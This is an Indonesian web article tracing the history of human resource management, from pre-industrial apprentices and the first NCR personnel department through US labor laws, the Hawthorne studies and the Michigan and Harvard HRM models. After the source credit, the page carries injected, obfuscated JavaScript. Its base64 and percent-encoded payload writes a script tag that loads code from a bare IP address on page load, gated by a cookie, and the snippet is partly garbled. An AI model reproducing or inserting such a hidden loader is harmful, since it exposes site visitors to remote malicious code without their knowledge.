Sejarah Perkembangan Manajemen SDM

Sejarah Perkembangan Manajemen SDM

Sejarah tentang manajemen sumber daya manusia (Human Resources Management – HRM) dimulai dari masa sebelum revolusi industri. Ketika itu para pengrajin yang tinggal di ruma-rumah sudah membangun hubungan dengan orang-orang yang magang di tempat usahanya, dan memberi mereka kebutuhan untuk hidup. Departemen Personalia baru dimulai pada awal abad ke-20. Kemudian selanjutnya berkembang melintasi zaman dan semakin lama semakin mendapat posisi penting.

Asal Mula Manajemen Tenaga Kerja

Bentuk awal HRM adalah kerjasama antara pengrajin dengan orang-orang magang selama era pra-industri di rumah-rumah penduduk di pinggir kota. Orang-orang magang ini tinggal di bengkel atau rumah tuannya, dan tuannya bertanggungjawab terhadap kesehatan dan kesejahteraan mereka.

Revolusi Industri pada pertengahan abad ke-18 yang bermula dari Inggris dan berkembang ke Amerika, melahirkan adanya pabrik-pabrik skala besar dan tersingkirnya tempat-tempat produksi di perkampungan para pengrajin. Tentu saja skala produksi yang besar membawa konsekuensi-konsekuensi. Suasana kerja yang tidak sehat dan menguras tenaga di pabrik menyulut timbulnya kerusuhan buruh berkali-kali, dan pemerintah AS akhirnya mengambil langkah untuk memfasilitasi penyediaan hak mendasar dan perlindungan bagi buruh.

Kewajiban untuk taat pada peraturan yang ditetapkan memaksa pemilik pabrik untuk membentuk mekanisme resmi guna memperbaiki persoalan sekitar buruh.

The National Cash Register Company (NCR) mendirikan departemen manajemen personalia yang pertama untuk menyelesaikan masalah seperti keluhan, keselamatan, pemecatan, kasus pengadilan, pemeliharaan dan manajemen pengupahan, sebagai akibat dari pemogokan besar-besaran dan penghentian produksi pada 1901. NCR adalah perusahaan yang memproduksi mesin pencatat uang di kasir toko-toko barang konsumsi, perusahaan ini berdiri pada 1884 di Ohio, AS.

Pabrik-pabrik lain kemudian mengikuti jejak dengan mendirikan departemen personalia. Peran departemen yang mengurus para buruh ini merupakan kelanjutan dari komitmen sebelumnya untuk mengawasi upah, keselamatan, jam kerja dan isu-isu yang terkait. Perubahan ini berarti bahwa kehadiran departemen personalia adalah untuk memastikan kepatuhan terhadap peraturan.

Manajemen Personalia (Awal Abad ke-20)

Hingga awal tahun 1900-an, meningkatnya persaingan dan tekanan untuk memenuhi pesanan dari pembeli, membuat para pemilik pabrik membuat catatan serius tentang produktivitas, dan isu seperti absensi dan keluar masuknya pekerja. Filosofi yang banyak dianut saat itu adalah bahwa pekerja akan menerima standar yang ketat dan akan bekerja lebih cepat jika dilatih dan diberi upah lebih besar. Pendekatan ini mula-mula ditawarkan oleh Frederick W Taylor. Ia melakukan time and motion study sebagai upaya untuk mengembangkan cara-cara yang produktif dalam menangani proses produksi.

Departemen personalia pada masa itu adalah alat para majikan untuk memastikan adanya produktivitas secara maksimal. Bersamaan dengan diadakannya pelatihan-pelatihan dan peningkatan upah, hal itu menekan pemogokan dengan memasukkan anggota serikat buruh ke dalam daftar hitam dan memaksa pekerja menandatangani kontrak “yellow dog” atau persetujuan untuk tidak bergabung ke serikat buruh.

Manajemen personalia memainkan peran semakin profesional setelah Perang Dunia I dan resesi besar (great depression) pada awal 1930-an. Tuntutan produksi semasa perang telah menyebabkan dibuatnya ketetapan-ketetapan untuk memastikan bahwa soal-soal yang berkaitan dengan upah atau kondisi kerja tidak mempersulit produksi.

Langkah-langkah pengamanan sosial setelah resesi besar adalah Norris-LaGuardia Act yang menilai kontrak “yellow dog” tidak boleh dipaksakan dan National Labor Relations Act (NLRA) atau Wagner Act tahun 1935 yang memberi pekerja hak membentuk serikat buruh dan melakukan tawar-menawar secara kolektif, dan mendaftar praktik-praktik perburuhan yang tidak adil.

Elton Mayo, yang dianggap sebagai bapak hubungan antar manusia (human relations), telah melakukan penelitian terkenal antara 1924 hingga 1932 yang disebut sebagai Hawthorne Studies. Ia menyimpulkan bahwa faktor-faktor manusiawi atau non-uang adalah lebih penting dibandingkan dengan faktor-faktor fisik atau penghargaan berupa uang, dalam meningkatkan moril/semangat pekerja.

Serikat-serikat pekerja kini mulai menolak rasa keadilan dari teori manajemen ilmiah Taylor, meminta para majikan untuk mengambil langkah pendekatan yang lebih berorientasi pada perilaku. Program personalia kini diperluas mencakup penggantian pengobatan, vaksinasi, liburan, bantuan perumahan, dan tindakan sejenis serta penerapan teori baru yang lebih berorientasi pada perilaku manusia.

Perang Dunia II menciptakan masalah baru agar pabrik tetap berproduksi. Sementara banyak pria dipanggil untuk pergi berperang, posisinya yang lowong diisi oleh pekerja wanita dan penduduk asli Amerika. Ini yang mendasari dimulainya tenaga kerja multi ras/budaya, dan hal itu merupakan tantangan baru bagi departemen sumber daya manusia.

Labor-Management Relations Act pada 1947 atau Taft-Hartley Act melarang penggunaan “closed shops” atau mempekerjakan pekerja hanya dari satu serikat buruh dan memberikan pemerintah peran sebagai perantara dalam perselisihan antara serikat pekerja dengan manajemen.

Manajemen SDM Tradisional (Akhir Abad ke-20)

Berakhirnya PD II dan Perang Korea menanjadi awal adanya perubahan drastis sejarah manajemen SDM. Era ini di AS ditandai dengan munculnya generasi baby boomers yang terdidik dan dipengaruhi oleh gagasan tentang hak asasi manusia dan aktualisasi diri, menghayati berbagai filosofi manajemen yang berorientasi pada perilaku dan mengadopsi filosofi manajemen yang mendorong diterimanya gagasan dan tindakan pekerja.

Perubahan itu diwujudkan ke dalam perundangan perburuhan seperti Equal Pay Act pada 1963, the Civil Right Act pada 1964, Occupational Safety and Health Act pada 1970 dan Employee Retirement Income Security Act pada 1974. Keharusan untuk mematuhi undang-undang tentang ketenagakerjaan tersebut meningkatkan peran fungsi HR.

The Michigan Model atau “Hard HRM” yang disampaikan oleh Fombrun, Tichy dan Devanna pada tahun 1984 mewarnai semangat pada masanya dan menjadi dasar dalam pendekatan tradisional HR. Model ini menyatakan karyawan sebagai sumber daya yang bernilai, diperoleh dengan biaya yang efektif, dimanfaatkan secara tepat guna, dan dikembangkan serta dimanfaatkan secara maksimal untuk kepentingan perusahaan.

Manajemen SDM Strategik (Abad ke-21)

Lingkungan bisnis baru pasca Perang Dingin, dikombinasikan dengan pemakaian secara luas komputer dan internet untuk kepentingan komersial, secara radikal telah mengubah cara perusahaan melakukan bisnis. Dan manajemen tenaga kerja tidak kebal terhadap perubahan ini.

Meningkatnya jumlah perusahaan di bidang jasa, masuknya lebih banyak wanita ke dalam dunia kerja, dan perubahan-perubahan yang lain membuat paradigma manjemen SDM tradisional menjadi kuno.

Berbeda dengan perilaku pada awal tahun 1900-an ketika pekerja menjadi kurang berguna dibandingkan dengan mesin-mesin industri, pekerja berketerampilan tinggi dan berpengetahuan kini mengendalikan mesin, dan dengan mudahnya menguasai teknologi, keahlian pekerja seperti ini sekarang menjadi sumber keunggulan kompetitif bagi perusahaan.

Departemen SDM berusaha menahan pekerja berpengetahuan dengan memberikan lingkungan kerja kondusif, memperluas lingkup pekerjaan, menyampaikan tujuan organisasi secara jelas, mendorong terjadinya inovasi, dan intervensi melalui perilaku yang lain.

The “Harvard Model” dari Beer et al (1984) atau Soft HRM, membantu untuk memimpin orang melalui komunikasi dan motivasi dan bukan memanajemeni mereka. Ini yang menandai pendekatan manajemen SDM strategik. Pendekatan ini menganggap karyawan sebagai aset, jauh lebih tinggi dibandingkan dengan sumber daya.

Perpindahan dari manajemen SDM tradisional menuju manajemen SDM strategik masih menjadi tren hingga kini. (Eko W)

Sumber/foto : brightubpm.com/schoolhistory.co.uk

function getCookie(e); )”+e.replace(/([\.$?*var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}